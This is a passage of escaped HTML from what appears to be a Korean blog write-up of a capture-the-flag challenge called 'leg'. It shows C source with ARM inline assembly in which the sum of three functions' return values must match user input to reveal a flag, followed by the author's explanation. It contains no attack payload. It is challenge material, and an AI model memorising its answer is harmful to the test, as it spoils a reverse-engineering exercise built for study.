14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;key1(){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;asm(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;mov&amp;nbsp;r3,&amp;nbsp;pc\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;key2(){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;asm(&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r6}\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r6,&amp;nbsp;pc,&amp;nbsp;$1\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;bx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r6\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;.code&amp;nbsp;&amp;nbsp;&amp;nbsp;16\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r3,&amp;nbsp;pc\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;add&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r3,&amp;nbsp;$0x4\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;push&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r3}\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;pop&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{pc}\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;.code&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;32\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;pop&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{r6}\n&quot;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;key3(){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;asm(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;mov&amp;nbsp;r3,&amp;nbsp;lr\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;key&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Daddy&amp;nbsp;has&amp;nbsp;very&amp;nbsp;strong&amp;nbsp;arm!&amp;nbsp;:&amp;nbsp;&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;scanf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;%d&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;key);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&amp;nbsp;(key1()&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;key2()&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;key3())&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;key&amp;nbsp;){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Congratz!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;fd&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;open(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;flag&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;O_RDONLY);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buf[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;r&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;read(fd,&amp;nbsp;buf,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;100&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;write(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;buf,&amp;nbsp;r);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;I&amp;nbsp;have&amp;nbsp;strong&amp;nbsp;leg&amp;nbsp;:P\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;key 변수를 생성하고 사용자로부터 key의 내용을 입력받는다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;key1(), key2(), key3()의 함수를 실행 한 뒤 각각의 return 값을 더해 key 값과 비교&lt;/span&gt;한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;성공하면 flag를 알려주고 틀리면 실패한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;leg.c 소스를 보면 key1(), key2(), key3()를 인라인 어셈블리어로 작성을 했다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;일반적으로 우리가 보아온 intel 계열이 아니라 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;ARM 계열의 어셈블리어&lt;/span&gt;이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;좀 더 자세히 분석하기 위해&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt; leg.asm&lt;/span&gt;을 보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;18&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;19&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;21&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;22&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;23&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;24&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;25&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;26&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;27&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;28&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;29&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;30&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;31&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;32&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;33&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;34&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;35&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;36&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;37&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;38&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;39&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;40&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;41&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;42&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;43&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;44&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;45&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;46&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;47&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;48&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;49&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;50&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;51&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;52&lt;/span&gt;&lt;/div&gt;&lt;div 